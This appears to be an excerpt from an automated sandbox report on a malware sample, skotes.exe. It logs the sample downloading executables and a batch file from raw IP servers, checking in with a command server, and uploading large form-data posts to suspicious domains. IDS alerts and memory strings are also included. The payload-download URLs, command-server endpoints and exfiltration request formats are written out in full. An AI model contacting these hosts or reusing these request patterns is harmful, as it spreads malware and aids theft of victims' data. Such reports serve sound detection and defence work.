Source: global traffic HTTP traffic detected: GET /files/7868598855/DTQCxXZ.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 32 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076269001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/6998292123/j6TfMeT.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 36 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076689001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/7999675383/wYfLzVg.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076698001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/5377122953/KbSwZup.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 37 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076700001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/6998335837/949wScO.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 38 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076828001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/7343830477/TaVOM7x.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 38 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076858001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/2137570667/OvLh8V8.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 38 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076878001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/7127524582/YzbWjqR.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 36 38 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1076894001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /testdef/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 37 37 31 30 31 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1077101101&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/am_no.bat HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 37 37 31 30 32 30 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1077102021&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/6158422886/r7MRNUY.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 185.215.113.75 185.215.113.75
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49827 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49854 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49885 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49910 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49946 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49945 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49967 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49966 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49981 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49982 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49994 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50032 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 185.215.113.75:80 -> 192.168.2.4:50032
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50039 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50042 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50036 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50035 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50043 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50037 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50044 -> 104.21.74.51:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50046 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50048 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50050 -> 185.215.113.75:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50057 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50061 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50063 -> 104.21.48.1:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: importenptoc.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D00DGGQXRCookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18104Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=NnT5D9y238QyckN.flOADQHZ9H2HOG_3x1.fbJtykDQ-1739393380.1071837-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: importenptoc.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZU4MGQ7ZZROI5N2KCICookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WHHYZRKQ04IE03XPNFCookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1SJZYAVD0524UTC0AO3Cookie: __cf_mw_byp=NnT5D9y238QyckN.flOADQHZ9H2HOG_3x1.fbJtykDQ-1739393380.1071837-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2630Host: importenptoc.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=603YEHK6404U5UP8NCCCookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2627Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FVNU0EPUAONCookie: __cf_mw_byp=NnT5D9y238QyckN.flOADQHZ9H2HOG_3x1.fbJtykDQ-1739393380.1071837-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1053Host: importenptoc.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=NnT5D9y238QyckN.flOADQHZ9H2HOG_3x1.fbJtykDQ-1739393380.1071837-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: importenptoc.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7J1FHUL40ZHWSWCookie: __cf_mw_byp=l1Wbxf4gT0nJootax2DaPF0cEso3d4ruZrHUtse20mA-1739393377-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 564202Host: soulfulimusic.cyou
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.75
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C8BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile, 6_2_00C8BE30
Source: global traffic HTTP traffic detected: GET /temperloin/Figvam/raw/refs/heads/main/pythiksdaw.exe HTTP/1.1User-Agent: MyAppHost: github.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /temperloin/Figvam/refs/heads/main/pythiksdaw.exe HTTP/1.1User-Agent: MyAppCache-Control: no-cacheHost: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /files/7127524582/2aydDCz.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/7868598855/DTQCxXZ.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/6998292123/j6TfMeT.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/7999675383/wYfLzVg.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/5377122953/KbSwZup.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/6998335837/949wScO.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/7343830477/TaVOM7x.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/2137570667/OvLh8V8.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /files/7127524582/YzbWjqR.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /testdef/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /test/am_no.bat HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /files/6158422886/r7MRNUY.exe HTTP/1.1Host: 185.215.113.75
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: lying0catto.ru
Source: global traffic DNS traffic detected: DNS query: soulfulimusic.cyou
Source: global traffic DNS traffic detected: DNS query: modernakdventure.cyou
Source: global traffic DNS traffic detected: DNS query: importenptoc.com
Source: global traffic DNS traffic detected: DNS query: github.com
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic DNS traffic detected: DNS query: breedertremnd.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soulfulimusic.cyou
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ePJJ2S%2FSooukOk3jGU2K5UZEU7TMzUkPe59w0p0Db5F%2FgcpDSp3%2Bgu7xd2V2qS6uyB4cusUMpvbAiRiBFFrOOw3mP6w0BlrX0aevhaVNq0XZ6sGQBVXcZx6E8Hk7NvdEI6TnZIA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 910f72400a8f0c94-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCF-RAY: 910f7251afa44379-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9VGhgrufF8KeToWrbg%2FcdKIJodb0ct8WlZFA2ySceId4jupUoesATSthAS5rPJhkjOi1ya867CIUJEy0AMUDMApfGoQ0tW7IiTHIAuQeAngEur5nnwh6xgwinNyu%2B6eBmAV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 910f7255be57de9b-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SvdOOUPASS31O0iWcnncAaKvgvbeFJvT1OkGwlgcf6zgZaY8rdwQqROQQnaJsZGa4tw4UFQB8Yjy9YuIVfTh37s9BoJD68zbpAJtUSETp8d19mqVZn61w7e6MxoAQX%2BfvpLa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 910f729a29fe9dff-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQy45jq%2FRro8W115LU0qZPWx3FyN78jMuvIAO1X63rV0VjM4Td%2FYyBdiILDHRCcvp%2B3NLVMNnSJ9Yr9y6oMp3appwGMihGmmP41fm%2BkLnl5097Wl5rZfIkdizxHAR5dV4uBu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 910f729edfe419c3-EWR
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 12 Feb 2025 20:49:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XxR%2BsAffxRi51uxxfRCYK%2FWzIsOPGioM1kGyg4uGrWHhvCD4ji%2BMUb6ac8Ej%2Fv83zZS7kijC7Q20LdwQPpssazIYG3%2BsE14Aub1QjcsVxDT4vwwN1cNJIlnc5GBU03Yv%2BZbv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 910f72a3f9b6c402-EWR
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/am_no.bat
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/testdef/random.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/testdef/random.exef
Source: skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/2137570667/OvLh8V8.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/5377122953/KbSwZup.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6158422886/r7MRNUY.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6158422886/r7MRNUY.exeZ0123456789
Source: skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6158422886/r7MRNUY.exeg
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6158422886/r7MRNUY.exeuP
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6998292123/j6TfMeT.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6998292123/j6TfMeT.exeXg5Vd
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2978906363.0000000000868000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/6998335837/949wScO.exe
Source: skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7127524582/2aydDCz.exe
Source: skotes.exe, 00000006.00000002.2978906363.0000000000868000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7127524582/2aydDCz.exe4
Source: skotes.exe, 00000006.00000002.2978906363.0000000000868000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7127524582/2aydDCz.exeL
Source: skotes.exe, 00000006.00000002.2978906363.0000000000828000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7127524582/2aydDCz.exehqos.dll
Source: skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7127524582/YzbWjqR.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000084E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7343830477/TaVOM7x.exe
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7343830477/TaVOM7x.exeI:;
Source: skotes.exe, 00000006.00000002.2978906363.000000000087E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.75/files/7868598855/DTQCxXZ.exe
